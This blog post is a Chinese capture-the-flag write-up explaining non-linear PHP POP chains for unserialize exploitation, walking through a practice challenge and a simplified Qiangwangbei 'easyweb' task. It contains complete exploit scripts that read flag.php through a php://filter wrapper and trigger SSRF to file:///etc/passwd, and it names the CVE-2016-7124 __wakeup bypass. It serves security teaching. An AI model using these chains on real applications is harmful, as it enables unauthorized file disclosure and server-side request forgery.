反序列化篇之聊聊非线性pop链

聊聊非线性pop链

前两天打强网杯,发现里面一道题还挺有意思,是一道session.upload_progress上传文件,然后构造pop链触发phar反序列化,最后用ssrf发请求的一道题,其它过程感觉都很平常,但这个pop链还挺有意思的,上网一搜索发现在NSSCTF Round#3中出过类似的链子,那么接下来就来聊聊这种非线性的pop链

测试代码

我们之前学的PHP的pop链,都是一条链子从头拉到尾,从反序列化的地方到最终获取flag的地方,用一条链子连起来,思路很清晰,但在很多情况下这种链子有它的局限性,比如说出现__wakeup()了,看看下面这段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
highlight_file(__FILE__);
error_reporting(0);
class Test {
public $file;
public $date;
public $tmp;
function __get($value){
$this->file->$value = $this->date;
echo $this->tmp;
}

}
class Flag{
public $flagpath;
public $str;
public function __toString()
{
$content = $this->str->flagpath;
$this->getflag();
return $content;
}
public function getflag(){
# flag is in flag.php
include($this->flagpath);
}
public function __wakeup()
{
$this->flagpath = 'index.php';
}
function __destruct(){
echo $this;
}
}
$a = unserialize($_GET[1]);

其实这个感觉也不能算非线性链子,还是一条链子拉下来的,只不过里面的思路我们可以参考,这题之所以看起来不太一样就是因为有__wakeup()的存在,导致我们不能像以前一样很轻松的控制$this->flagpath的值;很多小伙伴可能会说,不是说可以用CVE-2016-7124来绕过吗,修改属性数不等于实际的属性数即可,只不过这种方法是有版本限制的哈,影响版本为php5.0.0 ~ php5.6.25以及php7.0.0 ~ php7.0.10,在这个版本内肯定可行,高版本的PHP不一定就不行,但是绝大多数都不行,这种比较碰运气,偶然性很强,得看具体版本,后面看别的师傅的wp才发现强网杯遇到的那个题就可以直接通过改属性个数来绕过,当初还卡了我半天,很气

接着看回这个题,既然我们没办法直接给$this->flagpath赋值,那我们就想想有没有啥间接的方法,因为众所周知__wakeup()是在反序列化后一开始就触发的,而__destruct()是在对象被销毁时才触发,所以说只要我们想办法在__wakeup()后再给$this->flagpath赋值就行了;看向上面的Test类,里面有个__get($value),正好就有赋值操作,并且$this->date我们可控, $this->file我们也可控,可以把它赋值成一个Flag对象,那么也就是说只要$value是我们想要的flagpath即可,$value是作为__get()的参数传入的;当调用类中不存在的属性时,就会调用__get(),而调用时的属性名,就会作为参数传入,看个例子一看便懂

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
error_reporting(0);
class Test {
function __get($value){
var_dump($value)
}
$a = new Test();
$a -> flag;
}

image.png

所以说只要我们能找到地方调用flagpath就行,正好在Flag类中的__toString()方法里就有,我们让$this->str赋值为一个Test对象即可,整条链子就通了,完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Test{
public $file;
public $date;
public $tmp;
}
class Flag{
public $flagpath;
public $str;
}
$a = new Flag();
$a1 = new Flag();
$b = new Test();
$a -> str =$b;
$b -> date = 'php://filter/read=convert.base64-encode/resource=flag.php';
$b -> file = $a1;
$b -> tmp = $a1;

echo serialize($a);
?>

前面基本上都讲完了,再简单分析下吧,链子的开头是在__destruct中,然后以字符串的形式输出对象进而触发__toString(),在这里本来就可以直接调getflag()了,可惜$this->flagpath我们没控制住,所以说得把$this->str赋值为一个Test对象,调用到Test对象的__get()方法中,在这里实现赋值,再调进__toString()getflag()即可

image.png

image.png

有了这个基础,理解强网杯那道题的非线性链就没有任何障碍啦

第6届强网杯 easyweb pop链解析

源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<?php
error_reporting(0);
highlight_file(__FILE__);
$a = unserialize($_GET[1]);
class Upload {
public $file;
public $filesize;
public $date;
public $tmp;
function __get($value){
echo "1.get";
echo "</br>";
$this->filesize->$value = $this->date;
echo $this->tmp;
}
}
class GuestShow{
public $file;
public $contents;
function __toString(){
echo "2.tostring";
echo "</br>";
$str = $this->file->name;
return "";
}
function __destruct(){
echo "start";
echo "<br>";
echo $this;
}
}
class AdminShow{
public $source;
public $str;
public $filter;
public function __toString()
{
echo "3.tostring";
echo "</br>";
$content = $this->str[0]->source;
$content = $this->str[1]->schema;
return $content;
}
public function __get($value){
echo "3.get";
echo "</br>";
$this->show();
return $this->$value;
}
public function show(){
echo "3.show";
echo "</br>";
if(preg_match('/usr|auto|log/i' , $this->source))
{
die("error");
}
$url = $this->schema . $this->source;
var_dump($url);
echo "</br>";
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 1);
$response = curl_exec($curl);
curl_close($curl);
$src = $response;
echo $src;

}
public function __wakeup()
{
if ($this->schema !== 'file:///var/www/html/') {
$this->schema = 'file:///var/www/html/';
echo 'wakeup1';
var_dump($this->schema);
echo "</br>";
}
if ($this->source !== 'admin.png') {
$this->source = 'admin.png';
echo 'wakeup2';
var_dump($this->source);
echo "</br>";
}
}
}

差不多就这样,肯定是被我修改过的,加上了很多调试的过程,而且原题是用phar触发,这里我把它改了,直接加上了unserialize(),并且去掉了很多跟构造pop链没关系的代码

那么简化过后,这题就和我们上面讲的很像嘛,同样是在__wakeup()里面就赋了值,我们无法可控,得通过Upload类中__get($value)进行赋值,还是先给出exp吧,下面再进行详细分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
class Upload {
public $file;
public $filesize;
public $date;
public $tmp;
}
class GuestShow{
public $file;
public $contents;
}
class AdminShow{
public $source;
public $str;
public $filter;
}
$a = new GuestShow();
$a1 = new GuestShow();

$b = new Upload();
$b1 = new Upload();
$b2 = new Upload();

$c = new AdminShow();
$c1 = new AdminShow();

$a -> file = $b;
$b -> tmp = $c;
$c -> str[0] = $b1;
$c -> str[1] = $b2;

$b1 -> date = "file:///etc/passwd";
$b2 -> date = "";

$b1 -> filesize = $c1;
$b2 -> filesize = $c1;

$b2 -> tmp = $a1;
$a1 -> file = $c1;

echo serialize($a);

先看链子尾吧,链子尾是我们要进行ssrf的地方,那我们要控制的就是$this->schema$this->source,找可以给它们赋值的地方,成功发现Upload类中的__get($value)可以赋值,再找能控制$value的地方,在AdminShow__toString()方法中正好就有schemasource,那么其实这个思路就比较清楚了,接下来就是找其它的魔术方法,把整条pop链连上就行

链子头是在GuestShow中的__destruct()中,在里面echo $this调用GuestShow__toString(),然后由于这三个类中都没有name属性,所以说可以调任意一个__get()方法,这里选择往上调,调Upload类中的,然后由于里面有个echo $this->tmp,我们把$this->tmp赋值为一个AdminShow对象,就能进入到AdminShow类中的__toString()方法了,进去之后新建两个Upload对象,利用它们的__get(value)方法,分别给一个新AdminShow对象中的sourceschema赋值,赋值后再利用echo $this->tmp调入进GuestShow中的__toString()方法中,再调入到AdminShow__get(),最终进入到show()方法中实现ssrf,其实也是一条挺清晰的链子,只不过加上了两次给新对象赋值罢了

image.png

给篇参考文章吧,里面讲了NSSCTF Round#3的那道题,大家可以参考着加深理解

参考文章:https://www.cnblogs.com/Article-kelp/p/16271464.html

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2022 Arsene.Tang
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信